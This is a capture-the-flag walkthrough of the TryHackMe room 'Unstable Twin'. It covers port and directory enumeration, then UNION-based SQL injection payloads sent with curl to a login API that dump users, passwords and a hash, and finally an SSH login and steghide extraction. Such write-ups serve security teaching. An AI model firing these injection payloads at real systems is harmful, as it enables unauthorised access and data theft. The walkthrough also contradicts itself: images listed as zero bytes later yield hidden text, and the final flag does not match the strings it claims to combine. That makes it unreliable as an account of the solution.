Unstable Twin
A services based room that hides information inside HTTP services. We need to find the keys and bring the family back together
Task 1: Unstable Twin
Story recap: Julius and Vincent deployed two services. One of them is broken. We must find clues, recover credentials, and get the flags.
Answers (quick view)
- Build number (Vincent):
1.3.4-dev - Build number (Julius):
1.3.6-final - Number of users:
5 - Vincent’s color:
Orange - Mary Ann SSH password:
experiment - User flag:
THM{Mary_Ann_notes} - Final flag:
THM{The_Family_Is_Back_Together}
Step 1: Scan the target
We run Nmap to see open ports and services. This tells us what to attack first.
╭─cat0x01 at cat0x01 in ~╰─○ nmap -sC -sV -sS -v 10.66.153.113...PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.0 (protocol 2.0)80/tcp open http nginx 1.14.1Result: SSH and HTTP are open. We start with HTTP because it usually gives hints and easier entry points.

Step 2: Find web paths with ffuf

We brute force common directories to discover hidden endpoints.
╭─cat0x01 at cat0x01 in ~╰─○ ffuf -u http://10.66.153.113/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt...info [Status: 200, Size: 160, Words: 31, Lines: 2]
We also try POST because some APIs only answer to POST.
╭─cat0x01 at cat0x01 in ~╰─○ ffuf -u http://10.66.153.113/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -X POST...api [Status: 405, Size: 178, Words: 20, Lines: 5]info [Status: 405, Size: 178, Words: 20, Lines: 5]The /api path exists, but it blocks POST at this level. We enumerate inside it.

╭─cat0x01 at cat0x01 in ~╰─○ ffuf -u http://10.66.153.113/api/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt...login [Status: 405, Size: 178, Words: 20, Lines: 5]Step 3: Check /info

We call /info to read headers. The response tells us the build number and server name.
╭─cat0x01 at cat0x01 in ~╰─○ curl -v http://10.66.153.113/info* Trying 10.66.153.113:80...* Established connection to 10.66.153.113 (10.66.153.113 port 80) from 192.168.183.99 port 53636* using HTTP/1.x> GET /info HTTP/1.1> Host: 10.66.153.113> User-Agent: curl/8.18.0> Accept: */*>* Request completely sent off< HTTP/1.1 200 OK< Server: nginx/1.14.1< Date: Wed, 18 Feb 2026 01:18:13 GMT< Content-Type: application/json< Content-Length: 160< Connection: keep-alive< Build Number: 1.3.4-dev< Server Name: Vincent<"The login API needs to be called with the username and password form fields fields. It has not been fully tested yet so may not be full developed and secure"* Connection #0 to host 10.66.153.113:80 left intactThis gives the answer for Vincent’s build number and tells us which server we are talking to
Step 4: Test the login API
We try /api/login with POST and basic credentials. The server responds with inconsistent output. That hints at two different backend services

╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin&password=password""The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin&password=password"[]Sometimes it returns HTML errors, sometimes JSON. That means requests are hitting different services behind a load balancer
Step 5: SQL injection in the login API

We test for SQL injection. The API returns SQLite version, which confirms SQLi.
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,sqlite_version(); -- -&password=admin""The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,sqlite_version(); -- -&password=admin"[ [ 1, "3.26.0" ]]Now we enumerate tables and users.
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,tbl_name FROM sqlite_master; -- -&password=admin""The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,tbl_name FROM sqlite_master; -- -&password=admin"[ [ 1, "notes" ], [ 1, "sqlite_sequence" ], [ 1, "users" ]]We list users and colors (passwords in this case are colors).
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT username,password FROM users; -- -&password=admin"[ [ "julias", "Red" ], [ "linda", "Green" ], [ "marnie", "Yellow " ], [ "mary_ann", "continue..." ], [ "vincent", "Orange" ]]Now we know there are 5 users and Vincent’s color is Orange
Step 6: Read notes table
We dump the notes and find a hash for Mary Ann’s password.
╭─cat0x01 at cat0x01 in ~╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,group_concat(notes) from notes; -- -&password=admin"[ [ 1, "I have left my notes on the server. They will me help get the family back together. ,My Password is eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933422cf984324f645b84427343f4\n" ]]
We crack the hash using CrackStation. The password is experiment.
Step 7: SSH to Mary Ann and get the user flag
We use the password and login via SSH. Inside, we read the user flag.

We also read server_notes.txt for instructions. It says to collect images by name.

Step 8: Inspect application files
We list /opt/unstabletwin and find two Flask apps. This explains the unstable responses.

One app (port 5000) is Julius with build 1.3.6-final, and the other (port 5001) is Vincent with build 1.3.4-dev
Step 9: Download images from /get_image
The notes say to collect images by name. We call the endpoint with each family member name.
╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=vincent" -o vincent.jpg
╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=vincent" -o vincent.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=julias" -o julias.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=julias" -o julias.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=mary_ann" -o mary_ann.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=marnie" -o marnie.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=marnie" -o marnie.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=linda" -o linda.jpg╭─cat0x01 at cat0x01 in ~/images╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=linda" -o linda.jpg╭─cat0x01 at cat0x01 in ~/images╰─○
╭─cat0x01 at cat0x01 in ~/images╰─○ ls -latotal 56drwxrwxr-x 2 cat0x01 cat0x01 4096 Feb 18 02:33 .drwx------ 64 cat0x01 cat0x01 4096 Feb 18 02:34 ..-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 julias.jpg-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:34 linda.jpg-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 marnie.jpg-rw-rw-r-- 1 cat0x01 cat0x01 47303 Feb 18 02:33 mary_ann.jpg-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 vincent.jpgImages downloaded for all five names
Step 10: Extract hidden text with steghide
Each image hides a small string. We extract each one.
╭─cat0x01 at cat0x01 in ~/images╰─○ steghide extract -sf mary_ann.jpg
wrote extracted data to "mary_ann.txt".
╭─cat0x01 at cat0x01 in ~/images╰─○ cat mary_ann.txt
You need to find all my children and arrange in a rainbow!╭─cat0x01 at cat0x01 in ~/images╰─○ steghide extract -sf julias.jpg
wrote extracted data to "julias.txt".
╭─cat0x01 at cat0x01 in ~/images╰─○ cat julias.txt
Red - 1DVsdb2uEE0k5HK4GAIZ╭─cat0x01 at cat0x01 in ~/images╰─○ steghide extract -sf vincent.jpg
wrote extracted data to "vincent.txt".
╭─cat0x01 at cat0x01 in ~/images╰─○ cat vincent.txt
Orange - PS0Mby2jomUKLjvQ4OSw╭─cat0x01 at cat0x01 in ~/images╰─○ steghide --extract -sf linda.jpg
wrote extracted data to "linda.txt".
╭─cat0x01 at cat0x01 in ~/images╰─○ cat linda.txt
Green - eVYvs6J6HKpZWPG8pfeHoNG1╭─cat0x01 at cat0x01 in ~/images╰─○ steghide --extract -sf marnie.jpg
wrote extracted data to "marnie.txt".
╭─cat0x01 at cat0x01 in ~/images╰─○ cat marnie.txt
Yellow - jKLNAAeCdl2J8BCRuXVXStep 11: Build the rainbow order
We are told to arrange in a rainbow. We use the order: Red, Orange, Yellow, Green.
- Red = julias =
1DVsdb2uEE0k5HK4GAIZ - Orange = vincent =
PS0Mby2jomUKLjvQ4OSw - Yellow = marnie =
jKLNAAeCdl2J8BCRuXVX - Green = linda =
eVYvs6J6HKpZWPG8pfeHoNG1
Combine them in that order to get the final flag.

Final flag
THM{The_Family_Is_Back_Together}